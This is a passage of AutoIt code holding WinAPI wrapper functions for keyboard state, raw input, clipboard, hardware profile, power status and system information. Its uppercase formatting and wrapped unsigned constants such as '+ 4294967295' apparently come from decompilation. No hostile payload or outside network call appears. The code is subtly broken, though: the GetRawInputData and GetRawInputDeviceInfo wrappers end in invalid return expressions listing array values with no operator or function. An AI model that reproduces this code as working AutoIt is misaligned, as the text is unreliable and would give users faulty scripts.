LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "dword" , "ExpandEnvironmentStringsW" , "wstr" , $SSTRING , "wstr" , "" , "dword" , 4096 )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
RETURN $ARESULT [2 ]
ENDFUNC
FUNC _WINAPI_GETACTIVEWINDOW ()
LOCAL $ARET = DLLCALL ("user32.dll" , "hwnd" , "GetActiveWindow" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETASYNCKEYSTATE ($IKEY )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "short" , "GetAsyncKeyState" , "int" , $IKEY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETCLIPBOARDSEQUENCENUMBER ()
LOCAL $ARET = DLLCALL ("user32.dll" , "dword" , "GetClipboardSequenceNumber" )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETCURRENTHWPROFILE ()
LOCAL $TAGHW_PROFILE_INFO = "dword DockInfo;wchar szHwProfileGuid[39];wchar szHwProfileName[80]"
LOCAL $THWPI = DLLSTRUCTCREATE ($TAGHW_PROFILE_INFO )
LOCAL $ARET = DLLCALL ("advapi32.dll" , "bool" , "GetCurrentHwProfileW" , "struct*" , $THWPI )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ARESULT [3 ]
FOR $I = 0 TO 2
$ARESULT [$I ] = DLLSTRUCTGETDATA ($THWPI , $I + 1 )
NEXT
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_GETDEFAULTPRINTER ()
LOCAL $ARET = DLLCALL ("winspool.drv" , "bool" , "GetDefaultPrinterW" , "wstr" , "" , "dword*" , 2048 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF NOT $ARET [0 ] THEN RETURN SETERROR (10 , _WINAPI_GETLASTERROR () , "" )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_GETDLLDIRECTORY ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "dword" , "GetDllDirectoryW" , "dword" , 4096 , "wstr" , "" )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_GETEFFECTIVECLIENTRECT ($HWND , $ACTRL , $ISTART = 0 , $IEND = + 4294967295 )
IF NOT ISARRAY ($ACTRL ) THEN
LOCAL $ICTRL = $ACTRL
DIM $ACTRL [1 ] = [$ICTRL ]
$ISTART = 0
$IEND = 0
ENDIF
IF __CHECKERRORARRAYBOUNDS ($ACTRL , $ISTART , $IEND ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ICOUNT = $IEND - $ISTART + 1
LOCAL $TCTRL = DLLSTRUCTCREATE ("uint64[" & ($ICOUNT + 2 ) & "]" )
$ICOUNT = 2
FOR $I = $ISTART TO $IEND
IF ISHWND ($ACTRL [$I ] ) THEN
$ACTRL [$I ] = _WINAPI_GETDLGCTRLID ($ACTRL [$I ] )
ENDIF
DLLSTRUCTSETDATA ($TCTRL , 1 , _WINAPI_MAKEQWORD (1 , $ACTRL [$I ] ) , $ICOUNT )
$ICOUNT += 1
NEXT
LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT )
DLLCALL ("comctl32.dll" , "none" , "GetEffectiveClientRect" , "hwnd" , $HWND , "struct*" , $TRECT , "struct*" , $TCTRL )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $TRECT
ENDFUNC
FUNC _WINAPI_GETHANDLEINFORMATION ($HOBJECT )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetHandleInformation" , "handle" , $HOBJECT , "dword*" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_GETIDLETIME ()
LOCAL $TLASTINPUTINFO = DLLSTRUCTCREATE ("uint;dword" )
DLLSTRUCTSETDATA ($TLASTINPUTINFO , 1 , DLLSTRUCTGETSIZE ($TLASTINPUTINFO ) )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetLastInputInfo" , "struct*" , $TLASTINPUTINFO )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN _WINAPI_GETTICKCOUNT () - DLLSTRUCTGETDATA ($TLASTINPUTINFO , 2 )
ENDFUNC
FUNC _WINAPI_GETKEYBOARDLAYOUT ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "dword" , "GetWindowThreadProcessId" , "hwnd" , $HWND , "ptr" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
$ARET = DLLCALL ("user32.dll" , "handle" , "GetKeyboardLayout" , "dword" , $ARET [0 ] )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETKEYBOARDLAYOUTLIST ()
LOCAL $ARET = DLLCALL ("user32.dll" , "uint" , "GetKeyboardLayoutList" , "int" , 0 , "ptr" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 )
LOCAL $TDATA = DLLSTRUCTCREATE ("handle[" & $ARET [0 ] & "]" )
$ARET = DLLCALL ("user32.dll" , "uint" , "GetKeyboardLayoutList" , "int" , $ARET [0 ] , "struct*" , $TDATA )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ALIST [$ARET [0 ] + 1 ] = [$ARET [0 ] ]
FOR $I = 1 TO $ALIST [0 ]
$ALIST [$I ] = DLLSTRUCTGETDATA ($TDATA , 1 , $I )
NEXT
RETURN $ALIST
ENDFUNC
FUNC _WINAPI_GETKEYBOARDSTATE ()
LOCAL $TDATA = DLLSTRUCTCREATE ("byte[256]" )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetKeyboardState" , "struct*" , $TDATA )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $TDATA
ENDFUNC
FUNC _WINAPI_GETKEYBOARDTYPE ($ITYPE )
LOCAL $ARET = DLLCALL ("user32.dll" , "int" , "GetKeyboardType" , "int" , $ITYPE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETKEYNAMETEXT ($LPARAM )
LOCAL $ARET = DLLCALL ("user32.dll" , "int" , "GetKeyNameTextW" , "long" , $LPARAM , "wstr" , "" , "int" , 128 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_GETKEYSTATE ($VKEY )
LOCAL $ARET = DLLCALL ("user32.dll" , "short" , "GetKeyState" , "int" , $VKEY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETMODULEHANDLEEX ($SMODULE , $IFLAGS = 0 )
LOCAL $STYPEOFMODULE = "ptr"
IF ISSTRING ($SMODULE ) THEN
IF STRINGSTRIPWS ($SMODULE , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
$STYPEOFMODULE = "wstr"
ELSE
$SMODULE = 0
ENDIF
ENDIF
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetModuleHandleExW" , "dword" , $IFLAGS , $STYPEOFMODULE , $SMODULE , "ptr*" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [3 ]
ENDFUNC
FUNC _WINAPI_GETMUILANGUAGE ()
LOCAL $ARET = DLLCALL ("comctl32.dll" , "word" , "GetMUILanguage" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETPERFORMANCEINFO ()
LOCAL $TPI = DLLSTRUCTCREATE ("dword;ulong_ptr;ulong_ptr;ulong_ptr;ulong_ptr;ulong_ptr;ulong_ptr;ulong_ptr;ulong_ptr;ulong_ptr;ulong_ptr;dword;dword;dword" )
LOCAL $ARET = DLLCALL (@SYSTEMDIR & "\psapi.dll" , "bool" , "GetPerformanceInfo" , "struct*" , $TPI , "dword" , DLLSTRUCTGETSIZE ($TPI ) )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ARESULT [13 ]
FOR $I = 0 TO 12
$ARESULT [$I ] = DLLSTRUCTGETDATA ($TPI , $I + 2 )
NEXT
FOR $I = 0 TO 8
$ARESULT [$I ] *= $ARESULT [9 ]
NEXT
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_GETPROCADDRESS ($HMODULE , $VNAME )
LOCAL $STYPE = "str"
IF ISNUMBER ($VNAME ) THEN $STYPE = "word"
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "ptr" , "GetProcAddress" , "handle" , $HMODULE , $STYPE , $VNAME )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETPHYSICALLYINSTALLEDSYSTEMMEMORY ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetPhysicallyInstalledSystemMemory" , "uint64*" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_GETPROCESSSHUTDOWNPARAMETERS ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetProcessShutdownParameters" , "dword*" , 0 , "dword*" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN SETEXTENDED (NUMBER (NOT $ARET [2 ] ) , $ARET [1 ] )
ENDFUNC
FUNC _WINAPI_GETPROCESSWINDOWSTATION ()
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "GetProcessWindowStation" )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETPWRCAPABILITIES ()
IF NOT __DLL ("powrprof.dll" ) THEN RETURN SETERROR (103 , 0 , 0 )
LOCAL $TSPC = DLLSTRUCTCREATE ("byte[18];byte[3];byte;byte[8];byte[2];ulong[6];ulong[5]" )
LOCAL $ARET = DLLCALL ("powrprof.dll" , "boolean" , "GetPwrCapabilities" , "struct*" , $TSPC )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ARESULT [25 ]
FOR $I = 0 TO 17
$ARESULT [$I ] = DLLSTRUCTGETDATA ($TSPC , 1 , $I + 1 )
NEXT
$ARESULT [18 ] = DLLSTRUCTGETDATA ($TSPC , 3 )
FOR $I = 19 TO 20
$ARESULT [$I ] = DLLSTRUCTGETDATA ($TSPC , 5 , $I + 4294967278 )
NEXT
FOR $I = 21 TO 24
$ARESULT [$I ] = DLLSTRUCTGETDATA ($TSPC , 7 , $I + 4294967276 )
NEXT
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_GETRAWINPUTBUFFER ($PBUFFER , $ILENGTH )
LOCAL $ARET = DLLCALL ("user32.dll" , "uint" , "GetRawInputBuffer" , "struct*" , $PBUFFER , "uint*" , $ILENGTH , "uint" , DLLSTRUCTGETSIZE (DLLSTRUCTCREATE ($TAGRAWINPUTHEADER ) ) )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF ($ARET [0 ] = 0xFFFFFFFF ) OR (NOT $ARET [1 ] ) THEN RETURN SETERROR (10 , + 4294967295 , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETRAWINPUTBUFFERLENGTH ()
LOCAL $ARET = DLLCALL ("user32.dll" , "uint" , "GetRawInputBuffer" , "ptr" , 0 , "uint*" , 0 , "uint" , DLLSTRUCTGETSIZE (DLLSTRUCTCREATE ($TAGRAWINPUTHEADER ) ) )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] = 0xFFFFFFFF THEN RETURN SETERROR (10 , + 4294967295 , 0 )
RETURN $ARET [2 ] * 8
ENDFUNC
FUNC _WINAPI_GETRAWINPUTDATA ($HRAWINPUT , $PBUFFER , $ILENGTH , $IFLAG )
LOCAL $ARET = DLLCALL ("user32.dll" , "uint" , "GetRawInputData" , "handle" , $HRAWINPUT , "uint" , $IFLAG , "struct*" , $PBUFFER , "uint*" , $ILENGTH , "uint" , DLLSTRUCTGETSIZE (DLLSTRUCTCREATE ($TAGRAWINPUTHEADER ) ) )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] = 0xFFFFFFFF THEN RETURN SETERROR (10 , + 4294967295 , 0 )
RETURN ($ARET [3 ] $ARET [0 ] $ARET [4 ] )
ENDFUNC
FUNC _WINAPI_GETRAWINPUTDEVICEINFO ($HDEVICE , $PBUFFER , $ILENGTH , $IFLAG )
LOCAL $ARET = DLLCALL ("user32.dll" , "uint" , "GetRawInputDeviceInfoW" , "handle" , $HDEVICE , "uint" , $IFLAG , "struct*" , $PBUFFER , "uint*" , $ILENGTH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] = 0xFFFFFFFF THEN RETURN SETERROR (10 , + 4294967295 , 0 )
RETURN ($ARET [3 ] $ARET [0 ] $ARET [4 ] )
ENDFUNC
FUNC _WINAPI_GETREGISTEREDRAWINPUTDEVICES ($PBUFFER , $ILENGTH )
LOCAL $ILENGTHRAW = DLLSTRUCTGETSIZE (DLLSTRUCTCREATE ($TAGRAWINPUTDEVICE ) )
LOCAL $ARET = DLLCALL ("user32.dll" , "uint" , "GetRegisteredRawInputDevices" , "struct*" , $PBUFFER , "uint*" , FLOOR ($ILENGTH / $ILENGTHRAW ) , "uint" , $ILENGTHRAW )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] = 0xFFFFFFFF THEN
LOCAL $ILASTERROR = _WINAPI_GETLASTERROR ()
IF $ILASTERROR = 122 THEN RETURN SETEXTENDED ($ILASTERROR , $ARET [2 ] * $ILENGTHRAW )
RETURN SETERROR (10 , $ILASTERROR , 0 )
ENDIF
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETSTARTUPINFO ()
LOCAL $TSI = DLLSTRUCTCREATE ($TAGSTARTUPINFO )
DLLCALL ("kernel32.dll" , "none" , "GetStartupInfoW" , "struct*" , $TSI )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $TSI
ENDFUNC
FUNC _WINAPI_GETSYSTEMDEPPOLICY ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "uint" , "GetSystemDEPPolicy" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETSYSTEMINFO ()
LOCAL $SPROC
IF _WINAPI_ISWOW64PROCESS () THEN
$SPROC = "GetNativeSystemInfo"
ELSE
$SPROC = "GetSystemInfo"
ENDIF
LOCAL CONST $TAGSYSTEMINFO = "struct;word ProcessorArchitecture;word Reserved; endstruct;dword PageSize;" & "ptr MinimumApplicationAddress;ptr MaximumApplicationAddress;dword_ptr ActiveProcessorMask;dword NumberOfProcessors;" & "dword ProcessorType;dword AllocationGranularity;word ProcessorLevel;word ProcessorRevision"
LOCAL $TSYSTEMINFO = DLLSTRUCTCREATE ($TAGSYSTEMINFO )
DLLCALL ("kernel32.dll" , "none" , $SPROC , "struct*" , $TSYSTEMINFO )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
LOCAL $ARESULT [10 ]
$ARESULT [0 ] = DLLSTRUCTGETDATA ($TSYSTEMINFO , 1 )
FOR $I = 1 TO 9
$ARESULT [$I ] = DLLSTRUCTGETDATA ($TSYSTEMINFO , $I + 2 )
NEXT
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_GETSYSTEMPOWERSTATUS ()
LOCAL $TAGSYSTEM_POWER_STATUS = "byte ACLineStatus;byte BatteryFlag;byte BatteryLifePercent;byte Reserved1;" & "int BatteryLifeTime;int BatteryFullLifeTime"
LOCAL $TSYSTEM_POWER_STATUS = DLLSTRUCTCREATE ($TAGSYSTEM_POWER_STATUS )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetSystemPowerStatus" , "struct*" , $TSYSTEM_POWER_STATUS )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ARESULT [5 ]
$ARESULT [0 ] = DLLSTRUCTGETDATA ($TSYSTEM_POWER_STATUS , 1 )
$ARESULT [1 ] = DLLSTRUCTGETDATA ($TSYSTEM_POWER_STATUS , 2 )
$ARESULT [2 ] = DLLSTRUCTGETDATA ($TSYSTEM_POWER_STATUS , 3 )
$ARESULT [3 ] = DLLSTRUCTGETDATA ($TSYSTEM_POWER_STATUS , 5 )
$ARESULT [4 ] = DLLSTRUCTGETDATA ($TSYSTEM_POWER_STATUS , 6 )
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_GETSYSTEMTIMES ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetSystemTimes" , "uint64*" , 0 , "uint64*" , 0 , "uint64*" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ARESULT [3 ]
FOR $I = 0 TO 2
$ARESULT [$I ] = $ARET [$I + 1 ]
NEXT
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_GETSYSTEMWOW64DIRECTORY ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "uint" , "GetSystemWow64DirectoryW" , "wstr" , "" , "uint" , 4096 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , _WINAPI_GETLASTERROR () , "" )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_GETTICKCOUNT ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "dword" , "GetTickCount" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETTICKCOUNT64 ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "uint64" , "GetTickCount64" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETUSEROBJECTINFORMATION ($HOBJECT , $IINDEX )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetUserObjectInformationW" , "handle" , $HOBJECT , "int" , $IINDEX , "ptr" , 0 , "dword" , 0 , "dword*" , 0 )
IF @ERROR OR NOT $ARET [5 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $TDATA
SWITCH $IINDEX
CASE 1
$TDATA = DLLSTRUCTCREATE ($TAGUSEROBJECTFLAGS )
CASE 5 , 6
$TDATA = DLLSTRUCTCREATE ("uint" )
CASE 2 , 3
$TDATA = DLLSTRUCTCREATE ("wchar[" & $ARET [5 ] & "]" )
CASE 4
$TDATA = DLLSTRUCTCREATE ("byte[" & $ARET [5 ] & "]" )
CASE ELSE
RETURN SETERROR (20 , 0 , 0 )
ENDSWITCH
$ARET = DLLCALL ("user32.dll" , "bool" , "GetUserObjectInformationW" , "handle" , $HOBJECT , "int" , $IINDEX , "struct*" , $TDATA , "dword" , DLLSTRUCTGETSIZE ($TDATA ) , "dword*" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 30 , @EXTENDED , 0 )
SWITCH $IINDEX
CASE 1 , 4
RETURN $TDATA
CASE ELSE
RETURN DLLSTRUCTGETDATA ($TDATA , 1 )
ENDSWITCH
ENDFUNC
FUNC _WINAPI_GETVERSION ()
RETURN NUMBER (BITAND (BITSHIFT ($__WINVER , 8 ) , 255 ) & "." & BITAND ($__WINVER , 255 ) , $NUMBER_DOUBLE )
ENDFUNC
FUNC _WINAPI_GETVERSIONEX ()
LOCAL $TOSVERSIONINFOEX = DLLSTRUCTCREATE ($TAGOSVERSIONINFOEX )
DLLSTRUCTSETDATA ($TOSVERSIONINFOEX , "OSVersionInfoSize" , DLLSTRUCTGETSIZE ($TOSVERSIONINFOEX ) )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetVersionExW" , "struct*" , $TOSVERSIONINFOEX )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $TOSVERSIONINFOEX
ENDFUNC
FUNC _WINAPI_GETWORKAREA ()
LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT )
LOCAL $ARET = DLLCALL ("user32.dll" , "int" , "SystemParametersInfo" , "uint" , 48 , "uint" , 0 , "struct*" , $TRECT , "uint" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $TRECT
ENDFUNC
FUNC _WINAPI_INITMUILANGUAGE ($ILANGUAGE )
DLLCALL ("comctl32.dll" , "none" , "InitMUILanguage" , "word" , $ILANGUAGE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_ISLOADKBLAYOUT ($ILANGUAGE )
LOCAL $ALAYOUT = _WINAPI_GETKEYBOARDLAYOUTLIST ()
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
FOR $I = 1 TO $ALAYOUT [0 ]
IF $ALAYOUT [$I ] = $ILANGUAGE THEN RETURN TRUE
NEXT
RETURN FALSE
ENDFUNC
FUNC _WINAPI_ISPROCESSORFEATUREPRESENT ($IFEATURE )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "IsProcessorFeaturePresent" , "dword" , $IFEATURE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_ISWINDOWENABLED ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "IsWindowEnabled" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_KEYBD_EVENT ($VKEY , $IFLAGS , $ISCANCODE = 0 , $IEXTRAINFO = 0 )
DLLCALL ("user32.dll" , "none" , "keybd_event" , "byte" , $VKEY , "byte" , $ISCANCODE , "dword" , $IFLAGS , "ulong_ptr" , $IEXTRAINFO )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_LOADKEYBOARDLAYOUT ($ILANGUAGE , $IFLAG = 0 )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "LoadKeyboardLayoutW" , "wstr" , HEX ($ILANGUAGE , 8 ) , "uint" , $IFLAG )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_LOCKWORKSTATION ()
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "LockWorkStation" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_MAPVIRTUALKEY ($ICODE , $ITYPE , $HLOCALE = 0 )
LOCAL $ARET = DLLCALL ("user32.dll" , "INT" , "MapVirtualKeyExW" , "uint" , $ICODE , "uint" , $ITYPE , "uint_ptr" , $HLOCALE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_MOUSE_EVENT ($IFLAGS , $IX = 0 , $IY = 0 , $IDATA = 0 , $IEXTRAINFO = 0 )
DLLCALL ("user32.dll" , "none" , "mouse_event" , "dword" , $IFLAGS , "dword" , $IX , "dword" , $IY , "dword" , $IDATA , "ulong_ptr" , $IEXTRAINFO )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED )
ENDFUNC
FUNC _WINAPI_OPENDESKTOP ($SNAME , $IACCESS = 0 , $IFLAGS = 0 , $BINHERIT = FALSE )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "OpenDesktopW" , "wstr" , $SNAME , "dword" , $IFLAGS , "bool" , $BINHERIT , "dword" , $IACCESS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_OPENINPUTDESKTOP ($IACCESS = 0 , $IFLAGS = 0 , $BINHERIT = FALSE )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "OpenInputDesktop" , "dword" , $IFLAGS , "bool" , $BINHERIT , "dword" , $IACCESS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_OPENWINDOWSTATION ($SNAME , $IACCESS = 0 , $BINHERIT = FALSE )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "OpenWindowStationW" , "wstr" , $SNAME , "bool" , $BINHERIT , "dword" , $IACCESS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_QUERYPERFORMANCECOUNTER ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "QueryPerformanceCounter" , "int64*" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_QUERYPERFORMANCEFREQUENCY ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "QueryPerformanceFrequency" , "int64*" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_REGISTERHOTKEY ($HWND , $IID , $IMODIFIERS , $VKEY )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "RegisterHotKey" , "hwnd" , $HWND , "int" , $IID , "uint" , $IMODIFIERS , "uint" , $VKEY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_REGISTERPOWERSETTINGNOTIFICATION ($HWND , $SGUID )
LOCAL $TGUID = DLLSTRUCTCREATE ($TAGGUID )
LOCAL $ARET = DLLCALL ("ole32.dll" , "long" , "CLSIDFromString" , "wstr" , $SGUID , "struct*" , $TGUID )
IF @ERROR OR $ARET [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 )
$ARET = DLLCALL ("user32.dll" , "handle" , "RegisterPowerSettingNotification" , "handle" , $HWND , "struct*" , $TGUID , "dword" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_REGISTERRAWINPUTDEVICES ($PADEVICE , $ICOUNT = 1 )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "RegisterRawInputDevices" , "struct*" , $PADEVICE , "uint" , $ICOUNT , "uint" , DLLSTRUCTGETSIZE (DLLSTRUCTCREATE ($TAGRAWINPUTDEVICE ) ) * $ICOUNT )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_RELEASECAPTURE ()
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "ReleaseCapture" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_REMOVECLIPBOARDFORMATLISTENER ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "RemoveClipboardFormatListener" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETACTIVEWINDOW ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "int" , "SetActiveWindow" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETCAPTURE ($HWND )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "SetCapture" , "hwnd" , $HWND )
